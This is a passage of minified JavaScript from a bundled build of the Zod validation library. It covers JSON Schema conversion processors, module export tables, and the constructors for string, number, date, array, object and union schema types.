i=e._zod.def,s=i.inclusive===!1,o=i.options.map((l,c)=&gt;ha(l,t,{...n,path:[...n.path,s?&quot;oneOf&quot;:&quot;anyOf&quot;,c]}));s?r.oneOf=o:r.anyOf=o},vte=(e,t,r,n)=&gt;{const i=e._zod.def,s=ha(i.left,t,{...n,path:[...n.path,&quot;allOf&quot;,0]}),o=ha(i.right,t,{...n,path:[...n.path,&quot;allOf&quot;,1]}),l=d=&gt;&quot;allOf&quot;in d&amp;&amp;Object.keys(d).length===1,c=[...l(s)?s.allOf:[s],...l(o)?o.allOf:[o]];r.allOf=c},yte=(e,t,r,n)=&gt;{const i=r,s=e._zod.def;i.type=&quot;array&quot;;const o=t.target===&quot;draft-2020-12&quot;?&quot;prefixItems&quot;:&quot;items&quot;,l=t.target===&quot;draft-2020-12&quot;||t.target===&quot;openapi-3.0&quot;?&quot;items&quot;:&quot;additionalItems&quot;,c=s.items.map((p,A)=&gt;ha(p,t,{...n,path:[...n.path,o,A]})),d=s.rest?ha(s.rest,t,{...n,path:[...n.path,l,...t.target===&quot;openapi-3.0&quot;?[s.items.length]:[]]}):null;t.target===&quot;draft-2020-12&quot;?(i.prefixItems=c,d&amp;&amp;(i.items=d)):t.target===&quot;openapi-3.0&quot;?(i.items={anyOf:c},d&amp;&amp;i.items.anyOf.push(d),i.minItems=c.length,d||(i.maxItems=c.length)):(i.items=c,d&amp;&amp;(i.additionalItems=d));const{minimum:u,maximum:h}=e._zod.bag;typeof u==&quot;number&quot;&amp;&amp;(i.minItems=u),typeof h==&quot;number&quot;&amp;&amp;(i.maxItems=h)},bte=(e,t,r,n)=&gt;{const i=r,s=e._zod.def;i.type=&quot;object&quot;,(t.target===&quot;draft-07&quot;||t.target===&quot;draft-2020-12&quot;)&amp;&amp;(i.propertyNames=ha(s.keyType,t,{...n,path:[...n.path,&quot;propertyNames&quot;]})),i.additionalProperties=ha(s.valueType,t,{...n,path:[...n.path,&quot;additionalProperties&quot;]})},wte=(e,t,r,n)=&gt;{const i=e._zod.def,s=ha(i.innerType,t,n),o=t.seen.get(e);t.target===&quot;openapi-3.0&quot;?(o.ref=i.innerType,r.nullable=!0):r.anyOf=[s,{type:&quot;null&quot;}]},Ete=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType},Cte=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType,r.default=JSON.parse(JSON.stringify(i.defaultValue))},Ite=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType,t.io===&quot;input&quot;&amp;&amp;(r._prefault=JSON.parse(JSON.stringify(i.defaultValue)))},jte=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType;let o;try{o=i.catchValue(void 0)}catch{throw new Error(&quot;Dynamic catch values are not supported in JSON Schema&quot;)}r.default=o},Nte=(e,t,r,n)=&gt;{const i=e._zod.def,s=t.io===&quot;input&quot;?i.in._zod.def.type===&quot;transform&quot;?i.out:i.in:i.out;ha(s,t,n);const o=t.seen.get(e);o.ref=s},Ste=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType,r.readOnly=!0},Bte=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType},kte=(e,t,r,n)=&gt;{const i=e._zod.def;ha(i.innerType,t,n);const s=t.seen.get(e);s.ref=i.innerType},_te=(e,t,r,n)=&gt;{const i=e._zod.innerType;ha(i,t,n);const s=t.seen.get(e);s.ref=i},A6={string:Wee,number:Kee,boolean:Yee,bigint:Zee,symbol:Jee,null:Xee,undefined:ete,void:tte,never:rte,any:nte,unknown:ite,date:ate,enum:ste,literal:ote,nan:lte,template_literal:cte,file:ute,success:dte,custom:fte,function:hte,transform:mte,map:pte,set:gte,array:Ate,object:xte,union:Rk,intersection:vte,tuple:yte,record:bte,nullable:wte,nonoptional:Ete,default:Cte,prefault:Ite,catch:jte,pipe:Nte,readonly:Ste,promise:Bte,optional:kte,lazy:_te};function Dte(e,t){if(&quot;_idmap&quot;in e){const n=e,i=R1({...t,processors:A6}),s={};for(const c of n._idmap.entries()){const[d,u]=c;ha(u,i)}const o={},l={registry:n,uri:t?.uri,defs:s};i.external=l;for(const c of n._idmap.entries()){const[d,u]=c;P1(i,u),o[d]=Q1(i,u)}if(Object.keys(s).length&gt;0){const c=i.target===&quot;draft-2020-12&quot;?&quot;$defs&quot;:&quot;definitions&quot;;o.__shared={[c]:s}}return{schemas:o}}const r=R1({...t,processors:A6});return ha(e,r),P1(r,e),Q1(r,e)}class lze{get metadataRegistry(){return this.ctx.metadataRegistry}get target(){return this.ctx.target}get unrepresentable(){return this.ctx.unrepresentable}get override(){return this.ctx.override}get io(){return this.ctx.io}get counter(){return this.ctx.counter}set counter(t){this.ctx.counter=t}get seen(){return this.ctx.seen}constructor(t){let r=t?.target??&quot;draft-2020-12&quot;;r===&quot;draft-4&quot;&amp;&amp;(r=&quot;draft-04&quot;),r===&quot;draft-7&quot;&amp;&amp;(r=&quot;draft-07&quot;),this.ctx=R1({processors:A6,target:r,...t?.metadata&amp;&amp;{metadata:t.metadata},...t?.unrepresentable&amp;&amp;{unrepresentable:t.unrepresentable},...t?.override&amp;&amp;{override:t.override},...t?.io&amp;&amp;{io:t.io}})}process(t,r={path:[],schemaPath:[]}){return ha(t,this.ctx,r)}emit(t,r){r&amp;&amp;(r.cycles&amp;&amp;(this.ctx.cycles=r.cycles),r.reused&amp;&amp;(this.ctx.reused=r.reused),r.external&amp;&amp;(this.ctx.external=r.external)),P1(this.ctx,t);const n=Q1(this.ctx,t),{&quot;~standard&quot;:i,...s}=n;return s}}const cze=Object.freeze(Object.defineProperty({__proto__:null},Symbol.toStringTag,{value:&quot;Module&quot;})),uze=Object.freeze(Object.defineProperty({__proto__:null,$ZodAny:vX,$ZodArray:CX,$ZodAsyncError:dg,$ZodBase64:oX,$ZodBase64URL:cX,$ZodBigInt:ak,$ZodBigIntFormat:pX,$ZodBoolean:ik,$ZodCIDRv4:aX,$ZodCIDRv6:sX,$ZodCUID:VJ,$ZodCUID2:WJ,$ZodCatch:qX,$ZodCheck:Ja,$ZodCheckBigIntFormat:EJ,$ZodCheckEndsWith:PJ,$ZodCheckGreaterThan:tk,$ZodCheckIncludes:TJ,$ZodCheckLengthEquals:BJ,$ZodCheckLessThan:ek,$ZodCheckLowerCase:_J,$ZodCheckMaxLength:NJ,$ZodCheckMaxSize:CJ,$ZodCheckMimeType:FJ,$ZodCheckMinLength:SJ,$ZodCheckMinSize:IJ,$ZodCheckMultipleOf:bJ,$ZodCheckNumberFormat:wJ,$ZodCheckOverwrite:OJ,$ZodCheckProperty:QJ,$ZodCheckRegex:kJ,$ZodCheckSizeEquals:jJ,$ZodCheckStartsWith:RJ,$ZodCheckStringFormat:Zy,$ZodCheckUpperCase:DJ,$ZodCodec:ok,$ZodCustom:XX,$ZodCustomStringFormat:hX,$ZodDate:EX,$ZodDefault:UX,$ZodDiscriminatedUnion:kX,$ZodE164:uX,$ZodEmail:$J,$ZodEmoji:qJ,$ZodEncodeError:$E,$ZodEnum:PX,$ZodError:U8,$ZodFile:FX,$ZodFunction:YX,$ZodGUID:UJ,$ZodIPv4:rX,$ZodIPv6:nX,$ZodISODate:XJ,$ZodISODateTime:JJ,$ZodISODuration:tX,$ZodISOTime:eX,$ZodIntersection:_X,$ZodJWT:fX,$ZodKSUID:ZJ,$ZodLazy:JX,$ZodLiteral:QX,$ZodMAC:iX,$ZodMap:TX,$ZodNaN:GX,$ZodNanoID:GJ,$ZodNever:bX,$ZodNonOptional:$X,$ZodNull:xX,$ZodNullable:MX,$ZodNumber:nk,$ZodNumberFormat:mX,$ZodObject:NX,$ZodObjectJIT:SX,$ZodOptional:LX,$ZodPipe:VX,$ZodPrefault:zX,$ZodPromise:ZX,$ZodReadonly:WX,$ZodRealError:pu,$ZodRecord:DX,$ZodRegistry:see,$ZodSet:RX,$ZodString:Jy,$ZodStringFormat:ga,$ZodSuccess:HX,$ZodSymbol:gX,$ZodTemplateLiteral:KX,$ZodTransform:OX,$ZodTuple:sk,$ZodType:Dn,$ZodULID:KJ,$ZodURL:HJ,$ZodUUID:zJ,$ZodUndefined:AX,$ZodUnion:WE,$ZodUnknown:yX,$ZodVoid:wX,$ZodXID:YJ,$ZodXor:BX,$brand:pZ,$constructor:at,$input:aee,$output:iee,Doc:LJ,JSONSchema:cze,JSONSchemaGenerator:lze,NEVER:mZ,TimePrecision:uee,_any:_ee,_array:Oee,_base64:Ik,_base64url:jk,_bigint:Cee,_boolean:wee,_catch:tze,_check:$ee,_cidrv4:Ek,_cidrv6:Ck,_coercedBigint:Iee,_coercedBoolean:Eee,_coercedDate:Qee,_coercedNumber:gee,_coercedString:lee,_cuid:gk,_cuid2:Ak,_custom:Mee,_date:Pee,_decode:q8,_decodeAsync:V8,_default:JUe,_discriminatedUnion:MUe,_e164:Nk,_email:ck,_emoji:mk,_encode:H8,_encodeAsync:G8,_endsWith:rC,_enum:GUe,_file:Lee,_float32:xee,_float64:vee,_gt:Um,_gte:Ac,_guid:t4,_includes:eC,_int:Aee,_int32:yee,_int64:jee,_intersection:UUe,_ipv4:bk,_ipv6:wk,_isoDate:fee,_isoDateTime:dee,_isoDuration:mee,_isoTime:hee,_jwt:Sk,_ksuid:yk,_lazy:aze,_length:t2,_literal:WUe,_lowercase:JE,_lt:Mm,_lte:i0,_mac:cee,_map:HUe,_max:i0,_maxLength:e2,_maxSize:Xy,_mime:nC,_min:Ac,_minLength:Bg,_minSize:T1,_multipleOf:D1,_nan:Fee,_nanoid:pk,_nativeEnum:VUe,_negative:kk,_never:Tee,_nonnegative:Dk,_nonoptional:XUe,_nonpositive:_k,_normalize:iC,_null:kee,_nullable:ZUe,_number:pee,_optional:YUe,_overwrite:dh,_parse:qy,_parseAsync:Gy,_pipe:rze,_positive:Bk,_promise:sze,_property:Tk,_readonly:nze,_record:$Ue,_refine:Uee,_regex:ZE,_safeDecode:K8,_safeDecodeAsync:Z8,_safeEncode:W8,_safeEncodeAsync:Y8,_safeParse:Vy,_safeParseAsync:Wy,_set:qUe,_size:YE,_slugify:lC,_startsWith:tC,_string:oee,_stringFormat:r2,_stringbool:Gee,_success:eze,_superRefine:zee,_symbol:See,_templateLiteral:ize,_toLowerCase:sC,_toUpperCase:oC,_transform:KUe,_trim:aC,_tuple:zUe,_uint32:bee,_uint64:Nee,_ulid:xk,_undefined:Bee,_union:OUe,_unknown:Dee,_uppercase:XE,_url:KE,_uuid:uk,_uuidv4:dk,_uuidv6:fk,_uuidv7:hk,_void:Ree,_xid:vk,_xor:LUe,clone:d0,config:_l,createStandardJSONSchemaMethod:Uv,createToJSONSchemaMethod:Vee,decode:vLe,decodeAsync:bLe,describe:Hee,encode:xLe,encodeAsync:yLe,extractDefs:P1,finalize:Q1,flattenError:z8,formatError:$8,globalConfig:Zw,globalRegistry:Q0,initializeContext:R1,isValidBase64:rk,isValidBase64URL:lX,isValidJWT:dX,locales:nee,meta:qee,parse:m6,parseAsync:p6,prettifyError:QZ,process:ha,regexes:X8,registry:lk,safeDecode:ELe,safeDecodeAsync:ILe,safeEncode:wLe,safeEncodeAsync:CLe,safeParse:FZ,safeParseAsync:OZ,toDotPath:PZ,toJSONSchema:Dte,treeifyError:RZ,util:DZ,version:MJ},Symbol.toStringTag,{value:&quot;Module&quot;})),dze=Object.freeze(Object.defineProperty({__proto__:null,endsWith:rC,gt:Um,gte:Ac,includes:eC,length:t2,lowercase:JE,lt:Mm,lte:i0,maxLength:e2,maxSize:Xy,mime:nC,minLength:Bg,minSize:T1,multipleOf:D1,negative:kk,nonnegative:Dk,nonpositive:_k,normalize:iC,overwrite:dh,positive:Bk,property:Tk,regex:ZE,size:YE,slugify:lC,startsWith:tC,toLowerCase:sC,toUpperCase:oC,trim:aC,uppercase:XE},Symbol.toStringTag,{value:&quot;Module&quot;})),Pk=at(&quot;ZodISODateTime&quot;,(e,t)=&gt;{JJ.init(e,t),Aa.init(e,t)});function Tte(e){return dee(Pk,e)}const Qk=at(&quot;ZodISODate&quot;,(e,t)=&gt;{XJ.init(e,t),Aa.init(e,t)});function Rte(e){return fee(Qk,e)}const Fk=at(&quot;ZodISOTime&quot;,(e,t)=&gt;{eX.init(e,t),Aa.init(e,t)});function Pte(e){return hee(Fk,e)}const Ok=at(&quot;ZodISODuration&quot;,(e,t)=&gt;{tX.init(e,t),Aa.init(e,t)});function Qte(e){return mee(Ok,e)}const Fte=Object.freeze(Object.defineProperty({__proto__:null,ZodISODate:Qk,ZodISODateTime:Pk,ZodISODuration:Ok,ZodISOTime:Fk,date:Rte,datetime:Tte,duration:Qte,time:Pte},Symbol.toStringTag,{value:&quot;Module&quot;})),Ote=(e,t)=&gt;{U8.init(e,t),e.name=&quot;ZodError&quot;,Object.defineProperties(e,{format:{value:r=&gt;$8(e,r)},flatten:{value:r=&gt;z8(e,r)},addIssue:{value:r=&gt;{e.issues.push(r),e.message=JSON.stringify(e.issues,Jw,2)}},addIssues:{value:r=&gt;{e.issues.push(...r),e.message=JSON.stringify(e.issues,Jw,2)}},isEmpty:{get(){return e.issues.length===0}}})},fze=at(&quot;ZodError&quot;,Ote),gu=at(&quot;ZodError&quot;,Ote,{Parent:Error}),Lte=qy(gu),Mte=Gy(gu),Ute=Vy(gu),zte=Wy(gu),$te=H8(gu),Hte=q8(gu),qte=G8(gu),Gte=V8(gu),Vte=W8(gu),Wte=K8(gu),Kte=Y8(gu),Yte=Z8(gu),Ln=at(&quot;ZodType&quot;,(e,t)=&gt;(Dn.init(e,t),Object.assign(e[&quot;~standard&quot;],{jsonSchema:{input:Uv(e,&quot;input&quot;),output:Uv(e,&quot;output&quot;)}}),e.toJSONSchema=Vee(e,{}),e.def=t,e.type=t.type,Object.defineProperty(e,&quot;_def&quot;,{value:t}),e.check=(...r)=&gt;e.clone(uh(t,{checks:[...t.checks??[],...r.map(n=&gt;typeof n==&quot;function&quot;?{_zod:{check:n,def:{check:&quot;custom&quot;},onattach:[]}}:n)]})),e.clone=(r,n)=&gt;d0(e,r,n),e.brand=()=&gt;e,e.register=((r,n)=&gt;(r.add(e,n),e)),e.parse=(r,n)=&gt;Lte(e,r,n,{callee:e.parse}),e.safeParse=(r,n)=&gt;Ute(e,r,n),e.parseAsync=async(r,n)=&gt;Mte(e,r,n,{callee:e.parseAsync}),e.safeParseAsync=async(r,n)=&gt;zte(e,r,n),e.spa=e.safeParseAsync,e.encode=(r,n)=&gt;$te(e,r,n),e.decode=(r,n)=&gt;Hte(e,r,n),e.encodeAsync=async(r,n)=&gt;qte(e,r,n),e.decodeAsync=async(r,n)=&gt;Gte(e,r,n),e.safeEncode=(r,n)=&gt;Vte(e,r,n),e.safeDecode=(r,n)=&gt;Wte(e,r,n),e.safeEncodeAsync=async(r,n)=&gt;Kte(e,r,n),e.safeDecodeAsync=async(r,n)=&gt;Yte(e,r,n),e.refine=(r,n)=&gt;e.check(I_(r,n)),e.superRefine=r=&gt;e.check(j_(r)),e.overwrite=r=&gt;e.check(dh(r)),e.optional=()=&gt;Hv(e),e.nullable=()=&gt;qv(e),e.nullish=()=&gt;Hv(qv(e)),e.nonoptional=r=&gt;f_(e,r),e.array=()=&gt;tp(e),e.or=r=&gt;cx([e,r]),e.and=r=&gt;Jk(e,r),e.transform=r=&gt;Gv(e,DC(r)),e.default=r=&gt;c_(e,r),e.prefault=r=&gt;d_(e,r),e.catch=r=&gt;p_(e,r),e.pipe=r=&gt;Gv(e,r),e.readonly=()=&gt;x_(e),e.describe=r=&gt;{const n=e.clone();return Q0.add(n,{description:r}),n},Object.defineProperty(e,&quot;description&quot;,{get(){return Q0.get(e)?.description},configurable:!0}),e.meta=(...r)=&gt;{if(r.length===0)return Q0.get(e);const n=e.clone();return Q0.add(n,r[0]),n},e.isOptional=()=&gt;e.safeParse(void 0).success,e.isNullable=()=&gt;e.safeParse(null).success,e)),cC=at(&quot;_ZodString&quot;,(e,t)=&gt;{Jy.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(n,i,s)=&gt;Wee(e,n,i);const r=e._zod.bag;e.format=r.format??null,e.minLength=r.minimum??null,e.maxLength=r.maximum??null,e.regex=(...n)=&gt;e.check(ZE(...n)),e.includes=(...n)=&gt;e.check(eC(...n)),e.startsWith=(...n)=&gt;e.check(tC(...n)),e.endsWith=(...n)=&gt;e.check(rC(...n)),e.min=(...n)=&gt;e.check(Bg(...n)),e.max=(...n)=&gt;e.check(e2(...n)),e.length=(...n)=&gt;e.check(t2(...n)),e.nonempty=(...n)=&gt;e.check(Bg(1,...n)),e.lowercase=n=&gt;e.check(JE(n)),e.uppercase=n=&gt;e.check(XE(n)),e.trim=()=&gt;e.check(aC()),e.normalize=(...n)=&gt;e.check(iC(...n)),e.toLowerCase=()=&gt;e.check(sC()),e.toUpperCase=()=&gt;e.check(oC()),e.slugify=()=&gt;e.check(lC())}),n2=at(&quot;ZodString&quot;,(e,t)=&gt;{Jy.init(e,t),cC.init(e,t),e.email=r=&gt;e.check(ck(uC,r)),e.url=r=&gt;e.check(KE(i2,r)),e.jwt=r=&gt;e.check(Sk(IC,r)),e.emoji=r=&gt;e.check(mk(dC,r)),e.guid=r=&gt;e.check(t4(zv,r)),e.uuid=r=&gt;e.check(uk(zd,r)),e.uuidv4=r=&gt;e.check(dk(zd,r)),e.uuidv6=r=&gt;e.check(fk(zd,r)),e.uuidv7=r=&gt;e.check(hk(zd,r)),e.nanoid=r=&gt;e.check(pk(fC,r)),e.guid=r=&gt;e.check(t4(zv,r)),e.cuid=r=&gt;e.check(gk(hC,r)),e.cuid2=r=&gt;e.check(Ak(mC,r)),e.ulid=r=&gt;e.check(xk(pC,r)),e.base64=r=&gt;e.check(Ik(wC,r)),e.base64url=r=&gt;e.check(jk(EC,r)),e.xid=r=&gt;e.check(vk(gC,r)),e.ksuid=r=&gt;e.check(yk(AC,r)),e.ipv4=r=&gt;e.check(bk(xC,r)),e.ipv6=r=&gt;e.check(wk(vC,r)),e.cidrv4=r=&gt;e.check(Ek(yC,r)),e.cidrv6=r=&gt;e.check(Ck(bC,r)),e.e164=r=&gt;e.check(Nk(CC,r)),e.datetime=r=&gt;e.check(Tte(r)),e.date=r=&gt;e.check(Rte(r)),e.time=r=&gt;e.check(Pte(r)),e.duration=r=&gt;e.check(Qte(r))});function Kl(e){return oee(n2,e)}const Aa=at(&quot;ZodStringFormat&quot;,(e,t)=&gt;{ga.init(e,t),cC.init(e,t)}),uC=at(&quot;ZodEmail&quot;,(e,t)=&gt;{$J.init(e,t),Aa.init(e,t)});function Zte(e){return ck(uC,e)}const zv=at(&quot;ZodGUID&quot;,(e,t)=&gt;{UJ.init(e,t),Aa.init(e,t)});function Jte(e){return t4(zv,e)}const zd=at(&quot;ZodUUID&quot;,(e,t)=&gt;{zJ.init(e,t),Aa.init(e,t)});function Xte(e){return uk(zd,e)}function ere(e){return dk(zd,e)}function tre(e){return fk(zd,e)}function rre(e){return hk(zd,e)}const i2=at(&quot;ZodURL&quot;,(e,t)=&gt;{HJ.init(e,t),Aa.init(e,t)});function nre(e){return KE(i2,e)}function ire(e){return KE(i2,{protocol:/^https?$/,hostname:nJ,...Ut(e)})}const dC=at(&quot;ZodEmoji&quot;,(e,t)=&gt;{qJ.init(e,t),Aa.init(e,t)});function are(e){return mk(dC,e)}const fC=at(&quot;ZodNanoID&quot;,(e,t)=&gt;{GJ.init(e,t),Aa.init(e,t)});function sre(e){return pk(fC,e)}const hC=at(&quot;ZodCUID&quot;,(e,t)=&gt;{VJ.init(e,t),Aa.init(e,t)});function ore(e){return gk(hC,e)}const mC=at(&quot;ZodCUID2&quot;,(e,t)=&gt;{WJ.init(e,t),Aa.init(e,t)});function lre(e){return Ak(mC,e)}const pC=at(&quot;ZodULID&quot;,(e,t)=&gt;{KJ.init(e,t),Aa.init(e,t)});function cre(e){return xk(pC,e)}const gC=at(&quot;ZodXID&quot;,(e,t)=&gt;{YJ.init(e,t),Aa.init(e,t)});function ure(e){return vk(gC,e)}const AC=at(&quot;ZodKSUID&quot;,(e,t)=&gt;{ZJ.init(e,t),Aa.init(e,t)});function dre(e){return yk(AC,e)}const xC=at(&quot;ZodIPv4&quot;,(e,t)=&gt;{rX.init(e,t),Aa.init(e,t)});function fre(e){return bk(xC,e)}const Lk=at(&quot;ZodMAC&quot;,(e,t)=&gt;{iX.init(e,t),Aa.init(e,t)});function hre(e){return cee(Lk,e)}const vC=at(&quot;ZodIPv6&quot;,(e,t)=&gt;{nX.init(e,t),Aa.init(e,t)});function mre(e){return wk(vC,e)}const yC=at(&quot;ZodCIDRv4&quot;,(e,t)=&gt;{aX.init(e,t),Aa.init(e,t)});function pre(e){return Ek(yC,e)}const bC=at(&quot;ZodCIDRv6&quot;,(e,t)=&gt;{sX.init(e,t),Aa.init(e,t)});function gre(e){return Ck(bC,e)}const wC=at(&quot;ZodBase64&quot;,(e,t)=&gt;{oX.init(e,t),Aa.init(e,t)});function Are(e){return Ik(wC,e)}const EC=at(&quot;ZodBase64URL&quot;,(e,t)=&gt;{cX.init(e,t),Aa.init(e,t)});function xre(e){return jk(EC,e)}const CC=at(&quot;ZodE164&quot;,(e,t)=&gt;{uX.init(e,t),Aa.init(e,t)});function vre(e){return Nk(CC,e)}const IC=at(&quot;ZodJWT&quot;,(e,t)=&gt;{fX.init(e,t),Aa.init(e,t)});function yre(e){return Sk(IC,e)}const lx=at(&quot;ZodCustomStringFormat&quot;,(e,t)=&gt;{hX.init(e,t),Aa.init(e,t)});function bre(e,t,r={}){return r2(lx,e,t,r)}function wre(e){return r2(lx,&quot;hostname&quot;,rJ,e)}function Ere(e){return r2(lx,&quot;hex&quot;,vJ,e)}function Cre(e,t){const r=t?.enc??&quot;hex&quot;,n=`${e}_${r}`,i=X8[n];if(!i)throw new Error(`Unrecognized hash format: ${n}`);return r2(lx,n,i,t)}const a2=at(&quot;ZodNumber&quot;,(e,t)=&gt;{nk.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(n,i,s)=&gt;Kee(e,n,i),e.gt=(n,i)=&gt;e.check(Um(n,i)),e.gte=(n,i)=&gt;e.check(Ac(n,i)),e.min=(n,i)=&gt;e.check(Ac(n,i)),e.lt=(n,i)=&gt;e.check(Mm(n,i)),e.lte=(n,i)=&gt;e.check(i0(n,i)),e.max=(n,i)=&gt;e.check(i0(n,i)),e.int=n=&gt;e.check(r4(n)),e.safe=n=&gt;e.check(r4(n)),e.positive=n=&gt;e.check(Um(0,n)),e.nonnegative=n=&gt;e.check(Ac(0,n)),e.negative=n=&gt;e.check(Mm(0,n)),e.nonpositive=n=&gt;e.check(i0(0,n)),e.multipleOf=(n,i)=&gt;e.check(D1(n,i)),e.step=(n,i)=&gt;e.check(D1(n,i)),e.finite=()=&gt;e;const r=e._zod.bag;e.minValue=Math.max(r.minimum??Number.NEGATIVE_INFINITY,r.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,e.maxValue=Math.min(r.maximum??Number.POSITIVE_INFINITY,r.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,e.isInt=(r.format??&quot;&quot;).includes(&quot;int&quot;)||Number.isSafeInteger(r.multipleOf??.5),e.isFinite=!0,e.format=r.format??null});function xc(e){return pee(a2,e)}const Wg=at(&quot;ZodNumberFormat&quot;,(e,t)=&gt;{mX.init(e,t),a2.init(e,t)});function r4(e){return Aee(Wg,e)}function Ire(e){return xee(Wg,e)}function jre(e){return vee(Wg,e)}function Nre(e){return yee(Wg,e)}function Sre(e){return bee(Wg,e)}const s2=at(&quot;ZodBoolean&quot;,(e,t)=&gt;{ik.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Yee(e,r,n)});function jC(e){return wee(s2,e)}const o2=at(&quot;ZodBigInt&quot;,(e,t)=&gt;{ak.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(n,i,s)=&gt;Zee(e,n),e.gte=(n,i)=&gt;e.check(Ac(n,i)),e.min=(n,i)=&gt;e.check(Ac(n,i)),e.gt=(n,i)=&gt;e.check(Um(n,i)),e.gte=(n,i)=&gt;e.check(Ac(n,i)),e.min=(n,i)=&gt;e.check(Ac(n,i)),e.lt=(n,i)=&gt;e.check(Mm(n,i)),e.lte=(n,i)=&gt;e.check(i0(n,i)),e.max=(n,i)=&gt;e.check(i0(n,i)),e.positive=n=&gt;e.check(Um(BigInt(0),n)),e.negative=n=&gt;e.check(Mm(BigInt(0),n)),e.nonpositive=n=&gt;e.check(i0(BigInt(0),n)),e.nonnegative=n=&gt;e.check(Ac(BigInt(0),n)),e.multipleOf=(n,i)=&gt;e.check(D1(n,i));const r=e._zod.bag;e.minValue=r.minimum??null,e.maxValue=r.maximum??null,e.format=r.format??null});function Bre(e){return Cee(o2,e)}const NC=at(&quot;ZodBigIntFormat&quot;,(e,t)=&gt;{pX.init(e,t),o2.init(e,t)});function kre(e){return jee(NC,e)}function _re(e){return Nee(NC,e)}const Mk=at(&quot;ZodSymbol&quot;,(e,t)=&gt;{gX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Jee(e,r)});function Dre(e){return See(Mk,e)}const Uk=at(&quot;ZodUndefined&quot;,(e,t)=&gt;{AX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;ete(e,r)});function Tre(e){return Bee(Uk,e)}const zk=at(&quot;ZodNull&quot;,(e,t)=&gt;{xX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Xee(e,r,n)});function SC(e){return kee(zk,e)}const $k=at(&quot;ZodAny&quot;,(e,t)=&gt;{vX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;nte()});function $v(){return _ee($k)}const Hk=at(&quot;ZodUnknown&quot;,(e,t)=&gt;{yX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;ite()});function kg(){return Dee(Hk)}const qk=at(&quot;ZodNever&quot;,(e,t)=&gt;{bX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;rte(e,r,n)});function BC(e){return Tee(qk,e)}const Gk=at(&quot;ZodVoid&quot;,(e,t)=&gt;{wX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;tte(e,r)});function Rre(e){return Ree(Gk,e)}const kC=at(&quot;ZodDate&quot;,(e,t)=&gt;{EX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(n,i,s)=&gt;ate(e,n),e.min=(n,i)=&gt;e.check(Ac(n,i)),e.max=(n,i)=&gt;e.check(i0(n,i));const r=e._zod.bag;e.minDate=r.minimum?new Date(r.minimum):null,e.maxDate=r.maximum?new Date(r.maximum):null});function Pre(e){return Pee(kC,e)}const Vk=at(&quot;ZodArray&quot;,(e,t)=&gt;{CX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Ate(e,r,n,i),e.element=t.element,e.min=(r,n)=&gt;e.check(Bg(r,n)),e.nonempty=r=&gt;e.check(Bg(1,r)),e.max=(r,n)=&gt;e.check(e2(r,n)),e.length=(r,n)=&gt;e.check(t2(r,n)),e.unwrap=()=&gt;e.element});function tp(e,t){return Oee(Vk,e,t)}function Qre(e){const t=e._zod.def.shape;return Xl(Object.keys(t))}const l2=at(&quot;ZodObject&quot;,(e,t)=&gt;{SX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;xte(e,r,n,i),ti(e,&quot;shape&quot;,()=&gt;t.shape),e.keyof=()=&gt;Xl(Object.keys(e._zod.def.shape)),e.catchall=r=&gt;e.clone({...e._zod.def,catchall:r}),e.passthrough=()=&gt;e.clone({...e._zod.def,catchall:kg()}),e.loose=()=&gt;e.clone({...e._zod.def,catchall:kg()}),e.strict=()=&gt;e.clone({...e._zod.def,catchall:BC()}),e.strip=()=&gt;e.clone({...e._zod.def,catchall:void 0}),e.extend=r=&gt;IZ(e,r),e.safeExtend=r=&gt;jZ(e,r),e.merge=r=&gt;NZ(e,r),e.pick=r=&gt;EZ(e,r),e.omit=r=&gt;CZ(e,r),e.partial=(...r)=&gt;SZ(TC,e,r[0]),e.required=(...r)=&gt;BZ(RC,e,r[0])});function Wk(e,t){const r={type:&quot;object&quot;,shape:e??{},...Ut(t)};return new l2(r)}function Fre(e,t){return new l2({type:&quot;object&quot;,shape:e,catchall:BC(),...Ut(t)})}function Ore(e,t){return new l2({type:&quot;object&quot;,shape:e,catchall:kg(),...Ut(t)})}const c2=at(&quot;ZodUnion&quot;,(e,t)=&gt;{WE.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Rk(e,r,n,i),e.options=t.options});function cx(e,t){return new c2({type:&quot;union&quot;,options:e,...Ut(t)})}const Kk=at(&quot;ZodXor&quot;,(e,t)=&gt;{c2.init(e,t),BX.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Rk(e,r,n,i),e.options=t.options});function Lre(e,t){return new Kk({type:&quot;union&quot;,options:e,inclusive:!1,...Ut(t)})}const Yk=at(&quot;ZodDiscriminatedUnion&quot;,(e,t)=&gt;{c2.init(e,t),kX.init(e,t)});function Mre(e,t,r){return new Yk({type:&quot;union&quot;,options:t,discriminator:e,...Ut(r)})}const Zk=at(&quot;ZodIntersection&quot;,(e,t)=&gt;{_X.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;vte(e,r,n,i)});function 